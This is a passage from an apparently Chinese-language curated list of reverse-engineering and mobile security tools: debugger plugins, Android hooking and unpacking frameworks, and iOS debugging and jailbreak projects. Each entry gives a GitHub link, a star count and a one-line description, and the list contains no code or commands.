id="353ea40f2346191ecb828210a685f9db"></a>x64dbg - [**34576**星][26d] [C++] [x64dbg/x64dbg](https://github.com/x64dbg/x64dbg) Windows平台x32/x64调试器 ### <a id="da5688c7823802e734c39b539aa39df7"></a>新添加的 - [**1672**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器,支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件,也可以作为库使用 - 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) | - [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin) - [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面 - [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具 - [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码,可作为库使用 - [**1341**星][1m] [C] [x64dbg/x64dbgpy](https://github.com/x64dbg/x64dbgpy) Automating x64dbg using Python, Snapshots: - [**972**星][1m] [Py] [x64dbg/docs](https://github.com/x64dbg/docs) x64dbg文档 - [**471**星][5d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话 - 重复区段: [IDA->插件->与调试器同步](#f7d311685152ac005cfce5753c006e4b) | - [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb) - [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra) - [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida) - [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb) - [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1) - [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2) - [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync) - [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg) - [**363**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集 - 重复区段: [IDA->插件->收集](#a7dac37cd93b8bb42c7d6aedccb751b3) | *** ## <a id="22894d6f2255dc43d82dd46bdbc20ba1"></a>文章&&视频 # <a id="37e37e665eac00de3f55a13dcfd47320"></a>OllyDbg *** ## <a id="7834e399e48e6c64255a1a0fdb6b88f5"></a>插件&&脚本 ### <a id="92c44f98ff5ad8f8b0f5e10367262f9b"></a>新添加的 *** ## <a id="8dd3e63c4e1811973288ea8f1581dfdb"></a>文章&&视频 # <a id="0a506e6fb2252626add375f884c9095e"></a>WinDBG *** ## <a id="37eea2c2e8885eb435987ccf3f467122"></a>插件&&脚本 ### <a id="2ef75ae7852daa9862b2217dca252cc3"></a>新添加的 - [**564**星][6m] [C#] [fremag/memoscope.net](https://github.com/fremag/memoscope.net) Dump and analyze .Net applications memory ( a gui for WinDbg and ClrMd ) - [**279**星][26d] [Py] [hugsy/defcon_27_windbg_workshop](https://github.com/hugsy/defcon_27_windbg_workshop) DEFCON 27 workshop - Modern Debugging with WinDbg Preview - [**230**星][9m] [C++] [microsoft/windbg-samples](https://github.com/microsoft/windbg-samples) Sample extensions, scripts, and API uses for WinDbg. *** ## <a id="6d8bac8bfb5cda00c7e3bd38d64cbce3"></a>文章&&视频 - 2019.10 [freebuf] [Iris:一款可执行常见Windows漏洞利用检测的WinDbg扩展](https://www.freebuf.com/sectool/214276.html) - 2019.08 [lowleveldesign] [Synthetic types and tracing syscalls in WinDbg](https://lowleveldesign.org/2019/08/27/synthetic-types-and-tracing-syscalls-in-windbg/) - 2019.08 [hackertor] [Iris – WinDbg Extension To Perform Basic Detection Of Common Windows Exploit Mitigations](https://hackertor.com/2019/08/16/iris-windbg-extension-to-perform-basic-detection-of-common-windows-exploit-mitigations/) - 2019.07 [osr] [How L1 Terminal Fault (L1TF) Mitigation and WinDbg Wasted My Morning (a.k.a. Yak Shaving: WinDbg Edition)](https://www.osr.com/blog/2019/07/02/how-l1-terminal-fault-l1tf-mitigation-and-windbg-wasted-my-morning-a-k-a-yak-shaving-windbg-edition/) - 2019.06 [360] [《Dive into Windbg系列》Explorer无法启动排查](https://www.anquanke.com/post/id/179748/) - 2019.04 [360] [《Dive into Windbg系列》AudioSrv音频服务故障](https://www.anquanke.com/post/id/176343/) - 2019.03 [aliyun] [为WinDbg和LLDB编写ClrMD扩展](https://xz.aliyun.com/t/4459) - 2019.03 [offensive] [Development of a new Windows 10 KASLR Bypass (in One WinDBG Command)](https://www.offensive-security.com/vulndev/development-of-a-new-windows-10-kaslr-bypass-in-one-windbg-command/) - 2019.02 [OALabs] [WinDbg Basics for Malware Analysis](https://www.youtube.com/watch?v=QuFJpH3My7A) # <a id="11a59671b467a8cdbdd4ea9d5e5d9b51"></a>Android *** ## <a id="2110ded2aa5637fa933cc674bc33bf21"></a>工具 ### <a id="63fd2c592145914e99f837cecdc5a67c"></a>新添加的1 - [**6101**星][2m] [Java] [google/android-classyshark](https://github.com/google/android-classyshark) 分析基于Android/Java的App或游戏 - [**6094**星][5m] [Java] [qihoo360/replugin](https://github.com/qihoo360/replugin) RePlugin - A flexible, stable, easy-to-use Android Plug-in Framework - [**5195**星][11d] [Py] [mobsf/mobile-security-framework-mobsf](https://github.com/MobSF/Mobile-Security-Framework-MobSF) Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. - 重复区段: [Malware->工具](#e781a59e4f4daab058732cf66f77bfb9) | - [**5084**星][7d] [HTML] [owasp/owasp-mstg](https://github.com/owasp/owasp-mstg) 关于移动App安全开发、测试和逆向的相近手册 - [**4882**星][16d] [Java] [guardianproject/haven](https://github.com/guardianproject/haven) 通过Android应用和设备上的传感器保护自己的个人空间和财产而又不损害 - [**4776**星][4d] [C++] [facebook/redex](https://github.com/facebook/redex) Android App字节码优化器 - [**4306**星][7d] [Shell] [ashishb/android-security-awesome](https://github.com/ashishb/android-security-awesome) A collection of android security related resources - [**3649**星][1m] [C++] [anbox/anbox](https://github.com/anbox/anbox) 在常规GNU / Linux系统上引导完整的Android系统,基于容器 - [**2314**星][1y] [Java] [csploit/android](https://github.com/csploit/android) cSploit - The most complete and advanced IT security professional toolkit on Android. - [**2120**星][9m] [Py] [linkedin/qark](https://github.com/linkedin/qark) 查找Android App的漏洞, 支持源码或APK文件 - [**2095**星][10m] [jermic/android-crack-tool](https://github.com/jermic/android-crack-tool) - [**2051**星][13d] [Py] [sensepost/objection](https://github.com/sensepost/objection) runtimemobile exploration - [**2011**星][7m] [Py] [fsecurelabs/drozer](https://github.com/FSecureLABS/drozer) The Leading Security Assessment Framework for Android. - [**1976**星][] [Java] [kyson/androidgodeye](https://github.com/kyson/androidgodeye) AndroidGodEye:A performance monitor tool , like "Android Studio profiler" for Android , you can easily monitor the performance of your app real time in pc browser - [**1925**星][7m] [Java] [fuzion24/justtrustme](https://github.com/fuzion24/justtrustme) An xposed module that disables SSL certificate checking for the purposes of auditing an app with cert pinning - [**1430**星][11m] [Java] [aslody/legend](https://github.com/aslody/legend) (Android)无需Root即可Hook Java方法的框架, 支持Dalvik和Art环境 - [**1417**星][1m] [Java] [chrisk44/hijacker](https://github.com/chrisk44/hijacker) Aircrack, Airodump, Aireplay, MDK3 and Reaver GUI Application for Android - [**1241**星][3m] [Java] [whataa/pandora](https://github.com/whataa/pandora) an android library for debugging what we care about directly in app. - [**1235**星][1m] [Java] [find-sec-bugs/find-sec-bugs](https://github.com/find-sec-bugs/find-sec-bugs) The SpotBugs plugin for security audits of Java web applications and Android applications. (Also work with Kotlin, Groovy and Scala projects) - [**1213**星][1m] [JS] [megatronking/httpcanary](https://github.com/megatronking/httpcanary) A powerful capture and injection tool for the Android platform - [**1208**星][3m] [Java] [javiersantos/piracychecker](https://github.com/javiersantos/piracychecker) An Android library that prevents your app from being pirated / cracked using Google Play Licensing (LVL), APK signature protection and more. API 14+ required. - [**1134**星][24d] [Java] [huangyz0918/androidwm](https://github.com/huangyz0918/androidwm) 一个支持不可见数字水印(隐写术)的android图像水印库。 - [**885**星][2m] [C] [504ensicslabs/lime](https://github.com/504ensicslabs/lime) LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android. The tool supports acquiring memory either to the file system of the device or over the network. LiME is unique in that it is the first tool that allows full memory captures f… - [**820**星][3d] [proxymanapp/proxyman](https://github.com/proxymanapp/proxyman) Modern and Delightful HTTP Debugging Proxy for macOS, iOS and Android - [**810**星][4m] [Scala] [antox/antox](https://github.com/antox/antox) Android client for Project Tox - Secure Peer to Peer Messaging - [**800**星][3m] [sh4hin/androl4b](https://github.com/sh4hin/androl4b) 用于评估Android应用程序,逆向工程和恶意软件分析的虚拟机 - 重复区段: [Malware->工具](#e781a59e4f4daab058732cf66f77bfb9) | - [**769**星][1y] [C] [ele7enxxh/android-inline-hook](https://github.com/ele7enxxh/android-inline-hook) thumb16 thumb32 arm32 inlineHook in Android - [**668**星][1m] [doridori/android-security-reference](https://github.com/doridori/android-security-reference) A W.I.P Android Security Ref - [**608**星][7m] [JS] [vincentcox/stacoan](https://github.com/vincentcox/stacoan) StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. - [**559**星][6d] [Shell] [owasp/owasp-masvs](https://github.com/owasp/owasp-masvs) OWASP 移动App安全标准 - [**546**星][1m] [nordicsemiconductor/android-nrf-connect](https://github.com/nordicsemiconductor/android-nrf-connect) Documentation and issue tracker for nRF Connect for Android. - [**541**星][1y] [Java] [jaredrummler/apkparser](https://github.com/jaredrummler/apkparser) APK parser for Android - [**527**星][4m] [JS] [wooyundota/droidsslunpinning](https://github.com/wooyundota/droidsslunpinning) Android certificate pinning disable tools - [**518**星][3m] [Java] [megatronking/stringfog](https://github.com/megatronking/stringfog) 一款自动对字节码中的字符串进行加密Android插件工具 - [**511**星][] [Java] [happylishang/cacheemulatorchecker](https://github.com/happylishang/cacheemulatorchecker) Android模拟器检测,检测Android模拟器 ,获取相对真实的IMEI AndroidId 序列号 MAC地址等,作为DeviceID,应对防刷需求等 - [**482**星][1m] [JS] [lyxhh/lxhtoolhttpdecrypt](https://github.com/lyxhh/lxhtoolhttpdecrypt) Simple Android/iOS protocol analysis and utilization tool - [**450**星][12m] [Kotlin] [shadowsocks/kcptun-android](https://github.com/shadowsocks/kcptun-android) kcptun for Android. - [**443**星][23d] [TS] [shroudedcode/apk-mitm](https://github.com/shroudedcode/apk-mitm) - [**431**星][5d] [C] [guardianproject/orbot](https://github.com/guardianproject/orbot) The Github home of Orbot: Tor on Android (Also available on gitlab!) - [**426**星][11d] [Py] [thehackingsage/hacktronian](https://github.com/thehackingsage/hacktronian) All in One Hacking Tool for Linux & Android - [**412**星][4m] [Java] [megatronking/netbare](https://github.com/megatronking/netbare) Net packets capture & injection library designed for Android - [**409**星][3m] [CSS] [angea/pocorgtfo](https://github.com/angea/pocorgtfo) a "Proof of Concept or GTFO" mirror with extra article index, direct links and clean PDFs. - [**408**星][1y] [Java] [testwhat/smaliex](https://github.com/testwhat/smaliex) A wrapper to get de-optimized dex from odex/oat/vdex. - [**379**星][5m] [Makefile] [crifan/android_app_security_crack](https://github.com/crifan/android_app_security_crack) 安卓应用的安全和破解 - [**379**星][1y] [CSS] [nowsecure/secure-mobile-development](https://github.com/nowsecure/secure-mobile-development) A Collection of Secure Mobile Development Best Practices - [**358**星][5m] [b3nac/android-reports-and-resources](https://github.com/b3nac/android-reports-and-resources) A big list of Android Hackerone disclosed reports and other resources. - [**358**星][5m] [C] [the-cracker-technology/andrax-mobile-pentest](https://github.com/the-cracker-technology/andrax-mobile-pentest) ANDRAX The first and unique Penetration Testing platform for Android smartphones - [**333**星][17d] [Java] [datatheorem/trustkit-android](https://github.com/datatheorem/trustkit-android) Easy SSL pinning validation and reporting for Android. - [**284**星][9m] [Py] [micropyramid/forex-python](https://github.com/micropyramid/forex-python) Foreign exchange rates, Bitcoin price index and currency conversion using ratesapi.io - [**267**星][4m] [Py] [amimo/dcc](https://github.com/amimo/dcc) DCC (Dex-to-C Compiler) is method-based aot compiler that can translate DEX code to C code. - [**265**星][3d] [Py] [den4uk/andriller](https://github.com/den4uk/andriller) Andriller - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices. - [**251**星][10m] [C] [chef-koch/android-vulnerabilities-overview](https://github.com/chef-koch/android-vulnerabilities-overview) An small overview of known Android vulnerabilities - [**234**星][2m] [C] [grant-h/qu1ckr00t](https://github.com/grant-h/qu1ckr00t) A PoC application demonstrating the power of an Android kernel arbitrary R/W. - [**234**星][1y] [Ruby] [hahwul/droid-hunter](https://github.com/hahwul/droid-hunter) (deprecated) Android application vulnerability analysis and Android pentest tool - [**229**星][8m] [Java] [jieyushi/luffy](https://github.com/jieyushi/luffy) Android字节码插件,编译期间动态修改代码,改造添加全埋点日志采集功能模块,对常见控件进行监听处理 - [**225**星][3m] [Java] [virb3/trustmealready](https://github.com/virb3/trustmealready) Disable SSL verification and pinning on Android, system-wide - [**208**星][18d] [C] [derrekr/fastboot3ds](https://github.com/derrekr/fastboot3ds) A homebrew bootloader for the Nintendo 3DS that is similar to android's fastboot. ### <a id="883a4e0dd67c6482d28a7a14228cd942"></a>新添加的 ### <a id="fa49f65b8d3c71b36c6924ce51c2ca0c"></a>HotFix - [**14557**星][5d] [Java] [tencent/tinker](https://github.com/tencent/tinker) Tinker is a hot-fix solution library for Android, it supports dex, library and resources update without reinstall apk. - [**3462**星][19d] [Java] [meituan-dianping/robust](https://github.com/meituan-dianping/robust) Robust is an Android HotFix solution with high compatibility and high stability. Robust can fix bugs immediately without a reboot. - [**1117**星][5m] [Java] [manbanggroup/phantom](https://github.com/manbanggroup/phantom) 唯一零 Hook 稳定占坑类 Android 热更新插件化方案 ### <a id="ec395c8f974c75963d88a9829af12a90"></a>打包 - [**5080**星][2m] [Java] [meituan-dianping/walle](https://github.com/meituan-dianping/walle) Android Signature V2 Scheme签名下的新一代渠道包打包神器 ### <a id="767078c52aca04c452c095f49ad73956"></a>收集 ### <a id="17408290519e1ca7745233afea62c43c"></a>各类App - [**12285**星][3d] [Java] [signalapp/signal-android](https://github.com/signalapp/Signal-Android) A private messenger for Android. ### <a id="7f353b27e45b5de6b0e6ac472b02cbf1"></a>Xposed - [**8756**星][1m] [Java] [android-hacker/virtualxposed](https://github.com/android-hacker/virtualxposed) A simple app to use Xposed without root, unlock the bootloader or modify system image, etc. - [**2559**星][7m] [taichi-framework/taichi](https://github.com/taichi-framework/taichi) A framework to use Xposed module with or without Root/Unlock bootloader, supportting Android 5.0 ~ 10.0 - [**2034**星][4d] [Java] [elderdrivers/edxposed](https://github.com/elderdrivers/edxposed) Elder driver Xposed Framework. - [**1726**星][1y] [Java] [ac-pm/inspeckage](https://github.com/ac-pm/inspeckage) Android Package Inspector - dynamic analysis with api hooks, start unexported activities and more. (Xposed Module) - [**1655**星][1m] [Java] [tiann/epic](https://github.com/tiann/epic) Dynamic java method AOP hook for Android(continution of Dexposed on ART), Supporting 4.0~10.0 - [**1296**星][1m] [Java] [android-hacker/exposed](https://github.com/android-hacker/exposed) A library to use Xposed without root or recovery(or modify system image etc..). - [**790**星][8m] [Java] [blankeer/mdwechat](https://github.com/blankeer/mdwechat) 一个能让微信 Material Design 化的 Xposed 模块 - [**669**星][4d] [Java] [ganyao114/sandhook](https://github.com/ganyao114/sandhook) Android ART Hook/Native Inline Hook/Single Instruction Hook - support 4.4 - 10.0 32/64 bit - Xposed API Compat - [**478**星][2m] [Java] [tornaco/x-apm](https://github.com/tornaco/x-apm) 应用管理 Xposed - [**322**星][1y] [C] [smartdone/dexdump](https://github.com/smartdone/dexdump) 一个用来快速脱一代壳的工具(稍微改下就可以脱类抽取那种壳)(Android) - [**309**星][25d] [bigsinger/androididchanger](https://github.com/bigsinger/androididchanger) Xposed Module for Changing Android Device Info - [**309**星][5d] [Java] [ganyao114/sandvxposed](https://github.com/ganyao114/sandvxposed) Xposed environment without root (OS 5.0 - 10.0) - [**204**星][1y] [C] [gtoad/android_inline_hook](https://github.com/gtoad/android_inline_hook) Build an so file to automatically do the android_native_hook work. Supports thumb-2/arm32 and ARM64 ! With this, tools like Xposed can do android native hook. ### <a id="50f63dce18786069de2ec637630ff167"></a>加壳&&脱壳 - [**1793**星][8m] [C++] [wrbug/dumpdex](https://github.com/wrbug/dumpdex) Android脱壳 - [**1465**星][3m] [C++] [vaibhavpandeyvpz/apkstudio](https://github.com/vaibhavpandeyvpz/apkstudio) Open-source, cross platform Qt based IDE for reverse-engineering Android application packages. - [**811**星][4m] [C] [strazzere/android-unpacker](https://github.com/strazzere/android-unpacker) Android Unpacker presented at Defcon 22: Android Hacker Protection Level 0 - [**712**星][2m] [YARA] [rednaga/apkid](https://github.com/rednaga/apkid) Android Application Identifier for Packers, Protectors, Obfuscators and Oddities - PEiD for Android - [**366**星][3m] [Java] [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) A cli tool that helps signing and zip aligning single or multiple Android application packages (APKs) with either debug or provided release certificates. It supports v1, v2 and v3 Android signing scheme has an embedded debug keystore and auto verifies after signing. - [**322**星][6m] [Shell] [1n3/reverseapk](https://github.com/1n3/reverseapk) Quickly analyze and reverse engineer Android packages ### <a id="596b6cf8fd36bc4c819335f12850a915"></a>HOOK - [**1500**星][19d] [C] [iqiyi/xhook](https://github.com/iqiyi/xhook) a PLT (Procedure Linkage Table) hook library for Android native ELF - [**1494**星][t] [C++] [jmpews/dobby](https://github.com/jmpews/Dobby) a lightweight, multi-platform, multi-architecture hook framework. - [**804**星][17d] [C++] [aslody/whale](https://github.com/aslody/whale) Hook Framework for Android/IOS/Linux/MacOS - [**530**星][7m] [Java] [aslody/andhook](https://github.com/asLody/AndHook) Android dynamic instrumentation framework - [**361**星][8m] [C] [turing-technician/fasthook](https://github.com/turing-technician/fasthook) Android ART Hook ### <a id="5afa336e229e4c38ad378644c484734a"></a>Emulator&&模拟器 - [**1492**星][1y] [C++] [f1xpl/openauto](https://github.com/f1xpl/openauto) AndroidAuto headunit emulator - [**532**星][7m] [Java] [limboemu/limbo](https://github.com/limboemu/limbo) Limbo is a QEMU-based emulator for Android. It currently supports PC & ARM emulation for Intel x86 and ARM architecture. See our wiki - 重复区段: [模拟器->QEMU->工具->新添加的](#82072558d99a6cf23d4014c0ae5b420a) | - [**471**星][3m] [Java] [strazzere/anti-emulator](https://github.com/strazzere/anti-emulator) Android Anti-Emulator ### <a id="0a668d220ce74e11ed2738c4e3ae3c9e"></a>IDA ### <a id="bb9f8e636857320abf0502c19af6c763"></a>Debug&&调试 - [**10794**星][30d] [Java] [konloch/bytecode-viewer](https://github.com/konloch/bytecode-viewer) A Java 8+ Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More) - [**6762**星][10m] [Java] [amitshekhariitbhu/android-debug-database](https://github.com/amitshekhariitbhu/android-debug-database) A library for debugging android databases and shared preferences - Make Debugging Great Again ### <a id="f975a85510f714ec3cc2551e868e75b8"></a>Malware&&恶意代码 - [**429**星][4m] [Shell] [ashishb/android-malware](https://github.com/ashishb/android-malware) Collection of android malware samples - [**347**星][3m] [Java] [droidefense/engine](https://github.com/droidefense/engine) Droidefense: Advance Android Malware Analysis Framework ### <a id="1d83ca6d8b02950be10ac8e4b8a2d976"></a>Obfuscate&&混淆 - [**3078**星][2m] [Java] [calebfenton/simplify](https://github.com/calebfenton/simplify) Generic Android Deobfuscator - [**294**星][4m] [C] [shadowsocks/simple-obfs-android](https://github.com/shadowsocks/simple-obfs-android) A simple obfuscating tool for Android ### <a id="6d2b758b3269bac7d69a2d2c8b45194c"></a>ReverseEngineering - [**9285**星][23d] [Java] [ibotpeaches/apktool](https://github.com/ibotpeaches/apktool) A tool for reverse engineering Android apk files - [**2053**星][1m] [Java] [genymobile/gnirehtet](https://github.com/genymobile/gnirehtet) Gnirehtet provides reverse tethering for Android - [**585**星][2m] [C++] [secrary/andromeda](https://github.com/secrary/andromeda) Andromeda - Interactive Reverse Engineering Tool for Android Applications [This project is not maintained anymore] - [**545**星][12d] [maddiestone/androidappre](https://github.com/maddiestone/androidappre) Android App Reverse Engineering Workshop - [**267**星][10m] [Dockerfile] [cryptax/androidre](https://github.com/cryptax/androidre) 用于Android 逆向的 Docker 容器 - [**246**星][20d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集 - 重复区段: [IDA->插件->Android](#66052f824f5054aa0f70785a2389a478) | *** ## <a id="f0493b259e1169b5ddd269b13cfd30e6"></a>文章&&视频 - 2019.12 [aliyun] [Android智能终端系统的安全加固(上)](https://xz.aliyun.com/t/6852) - 2019.11 [venus] [Android勒索病毒分析(上)](https://paper.seebug.org/1085/) # <a id="069664f347ae73b1370c4f5a2ec9da9f"></a>Apple&&iOS&&iXxx *** ## <a id="58cd9084afafd3cd293564c1d615dd7f"></a>工具 ### <a id="d0108e91e6863289f89084ff09df39d0"></a>新添加的 - [**10966**星][2d] [ObjC] [flipboard/flex](https://github.com/flipboard/flex) An in-app debugging and exploration tool for iOS - [**8031**星][2m] [Py] [facebook/chisel](https://github.com/facebook/chisel) Chisel is a collection of LLDB commands to assist debugging iOS apps. - [**5775**星][3m] [ObjC] [square/ponydebugger](https://github.com/square/ponydebugger) Remote network and data debugging for your native iOS app using Chrome Developer Tools - [**5451**星][3m] [Py] [axi0mx/ipwndfu](https://github.com/axi0mx/ipwndfu) open-source jailbreaking tool for many iOS devices - 重复区段: [Apple->工具->越狱](#ff19d5d94315d035bbcb3ef0c348c75b) | - [**5390**星][5m] [C] [pwn20wndstuff/undecimus](https://github.com/pwn20wndstuff/undecimus) unc0ver jailbreak for iOS 11.0 - 12.4 - 重复区段: [Apple->工具->越狱](#ff19d5d94315d035bbcb3ef0c348c75b) | - [**4663**星][29d] [C] [google/ios-webkit-debug-proxy](https://github.com/google/ios-webkit-debug-proxy) A DevTools proxy (Chrome Remote Debugging Protocol) for iOS devices (Safari Remote Web Inspector). - [**4397**星][4d] [Swift] [signalapp/signal-ios](https://github.com/signalapp/Signal-iOS) A private messenger for iOS. - [**4248**星][8m] [ObjC] [alonemonkey/monkeydev](https://github.com/alonemonkey/monkeydev) CaptainHook Tweak、Logos Tweak and Command-line Tool、Patch iOS Apps, Without Jailbreak. - 重复区段: [Apple->工具->越狱](#ff19d5d94315d035bbcb3ef0c348c75b) | - [**3686**星][4m] [C] [facebook/fishhook](https://github.com/facebook/fishhook) A library that enables dynamically rebinding symbols in Mach-O binaries running on iOS. - [**3414**星][1m] [icodesign/potatso](https://github.com/icodesign/Potatso) Potatso is an iOS client that implements different proxies with the leverage of NetworkExtension framework in iOS 10+. - [**3327**星][3m] [Swift] [yagiz/bagel](https://github.com/yagiz/bagel) a little native network debugging tool for iOS - [**3071**星][10m] [JS] [jipegit/osxauditor](https://github.com/jipegit/osxauditor) OS X Auditor is a free Mac OS X computer forensics tool - [**2867**星][4d] [ObjC] [facebook/idb](https://github.com/facebook/idb) idb is a flexible command line interface for automating iOS simulators and devices - [**2795**星][16d] [Swift] [kasketis/netfox](https://github.com/kasketis/netfox) A lightweight, one line setup, iOS / OSX network debugging library! - [**2753**星][1m] [Makefile] [theos/theos](https://github.com/theos/theos) A cross-platform suite of tools for building and deploying software for iOS and other platforms. - [**2733**星][18d] [ObjC] [dantheman827/ios-app-signer](https://github.com/dantheman827/ios-app-signer) This is an app for OS X that can (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device. - [**2708**星][2m] [ObjC] [kjcracks/clutch](https://github.com/kjcracks/clutch) Fast iOS executable dumper - [**2057**星][11d] [ObjC] [ios-control/ios-deploy](https://github.com/ios-control/ios-deploy) Install and debug iPhone apps from the command line, without using Xcode - [**1801**星][1y] [aozhimin/ios-monitor-platform](https://github.com/aozhimin/ios-monitor-platform) - [**1695**星][6m] [Py] [yelp/osxcollector](https://github.com/yelp/osxcollector) A forensic evidence collection & analysis toolkit for OS X - [**1683**星][1m] [Swift] [pmusolino/wormholy](https://github.com/pmusolino/wormholy) iOS network debugging, like a wizard 🧙‍♂️ - [**1642**星][6m] [Objective-C++] [tencent/oomdetector](https://github.com/tencent/oomdetector) OOMDetector is a memory monitoring component for iOS which provides you with OOM monitoring, memory allocation monitoring, memory leak detection and other functions. - [**1630**星][1m] [ivrodriguezca/re-ios-apps](https://github.com/ivrodriguezca/re-ios-apps) A completely free, open source and online course about Reverse Engineering iOS Applications. - [**1442**星][20d] [ObjC] [nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps - [**1299**星][5m] [JS] [feross/spoof](https://github.com/feross/spoof) Easily spoof your MAC address in macOS, Windows, & Linux! - [**1291**星][1m] [JS] [icymind/vrouter](https://github.com/icymind/vrouter) 一个基于 VirtualBox 和 openwrt 构建的项目, 旨在实现 macOS / Windows 平台的透明代理. - [**1253**星][2m] [Vue] [chaitin/passionfruit](https://github.com/chaitin/passionfruit) iOSapp 黑盒评估工具。功能丰富,自带基于web的 GUI - [**1252**星][9d] [michalmalik/osx-re-101](https://github.com/michalmalik/osx-re-101) OSX/iOS逆向资源收集 - [**1239**星][t] [C] [datatheorem/trustkit](https://github.com/datatheorem/trustkit) Easy SSL pinning validation and reporting for iOS, macOS, tvOS and watchOS. - [**1215**星][8d] [YARA] [horsicq/detect-it-easy](https://github.com/horsicq/detect-it-easy) Program for determining types of files for Windows, Linux and MacOS. - [**1193**星][7d] [JS] [alonemonkey/frida-ios-dump](https://github.com/alonemonkey/frida-ios-dump) pull decrypted ipa from jailbreak device - 重复区段: [DBI->Frida->工具->新添加的](#54836a155de0c15b56f43634cd9cfecf) | - [**1113**星][1y] [ObjC] [neoneggplant/eggshell](https://github.com/neoneggplant/eggshell) iOS/macOS/Linux Remote Administration Tool - [**1001**星][2m] [ObjC] [lmirosevic/gbdeviceinfo](https://github.com/lmirosevic/gbdeviceinfo) Detects the hardware, software and display of the current iOS or Mac OS X device at runtime. - [**907**星][3m] [ObjC] [ptoomey3/keychain-dumper](https://github.com/ptoomey3/keychain-dumper) A tool to check which keychain items are available to an attacker once an iOS device has been jailbroken - [**866**星][8d] [ObjC] [meitu/mthawkeye](https://github.com/meitu/mthawkeye) Profiling / Debugging assist tools for iOS. (Memory Leak, OOM, ANR, Hard Stalling, Network, OpenGL, Time Profile ...) - [**840**星][] [JS] [cypress-io/cypress-example-recipes](https://github.com/cypress-io/cypress-example-recipes) Various recipes for testing common scenarios with Cypress - [**796**星][5d] [Shell] [aqzt/kjyw](https://github.com/aqzt/kjyw) 快捷运维,代号kjyw,项目基于shell、python,运维脚本工具库,收集各类运维常用工具脚本,实现快速安装nginx、mysql、php、redis、nagios、运维经常使用的脚本等等... - [**662**星][1y] [Py] [deepzec/bad-pdf](https://github.com/deepzec/bad-pdf) create malicious PDF file to steal NTLM(NTLMv1/NTLMv2) Hashes from windows machines - [**651**星][9m] [ObjC] [chenxiancai/stcobfuscator](https://github.com/chenxiancai/stcobfuscator) iOS全局自动化 代码混淆 工具!支持cocoapod组件代码一并 混淆,完美避开hardcode方法、静态库方法和系统库方法! - [**636**星][1y] [Swift] [phynet/ios-url-schemes](https://github.com/phynet/ios-url-schemes) a github solution from my gist of iOS list for urls schemes - [**604**星][2m] [siguza/ios-resources](https://github.com/siguza/ios-resources) Useful resources for iOS hacking - [**500**星][19d] [Swift] [google/science-journal-ios](https://github.com/google/science-journal-ios) Use the sensors in your mobile devices to perform science experiments. Science doesn’t just happen in the classroom or lab—tools like Science Journal let you see how the world works with just your phone. - [**482**星][1y] [Swift] [icepa/icepa](https://github.com/icepa/icepa) iOS system-wide VPN based Tor client - [**478**星][7d] [pixelcyber/thor](https://github.com/pixelcyber/thor) HTTP Sniffer/Capture on iOS for Network Debug & Inspect. - [**471**星][8m] [C++] [everettjf/machoexplorer](https://github.com/everettjf/machoexplorer) MachO文件查看器,支持Windows和macOS - [**462**星][7d] [Java] [dsheirer/sdrtrunk](https://github.com/dsheirer/sdrtrunk) A cross-platform java application for decoding, monitoring, recording and streaming trunked mobile and related radio protocols using Software Defined Radios (SDR). Website: - [**430**星][11m] [captainarash/the_holy_book_of_x86](https://github.com/captainarash/the_holy_book_of_x86) A simple guide to x86 architecture, assembly, memory management, paging, segmentation, SMM, BIOS.... - [**404**星][1y] [C] [coalfire-research/ios-11.1.2-15b202-jailbreak](https://github.com/coalfire-research/ios-11.1.2-15b202-jailbreak) iOS 11.1.2 (15B202) Jailbreak - 重复区段: [Apple->工具->越狱](#ff19d5d94315d035bbcb3ef0c348c75b) | - [**396**星][4m] [ansjdnakjdnajkd/ios](https://github.com/ansjdnakjdnajkd/ios) iOS渗透测试最有用的工具 - [**382**星][11m] [C] [coolstar/electra1131](https://github.com/coolstar/electra1131) electra1131: Electra for iOS 11.0 - 11.3.1 - [**375**星][20d] [Swift] [justeat/justlog](https://github.com/justeat/justlog) JustLog brings logging on iOS to the next level. It supports console, file and remote Logstash logging via TCP socket with no effort. Support for logz.io available. - [**371**星][10d] [Shell] [matthewpierson/1033-ota-downgrader](https://github.com/matthewpierson/1033-ota-downgrader) First ever tool to downgrade ANY iPhone 5s, ANY iPad Air and (almost any) iPad Mini 2 to 10.3.3 with OTA blobs + checkm8! - [**349**星][11d] [C] [jedisct1/swift-sodium](https://github.com/jedisct1/swift-sodium) Safe and easy to use crypto for iOS and macOS - [**346**星][4m] [TS] [bacher09/pwgen-for-bios](https://github.com/bacher09/pwgen-for-bios) Password generator for BIOS - [**340**星][2m] [C] 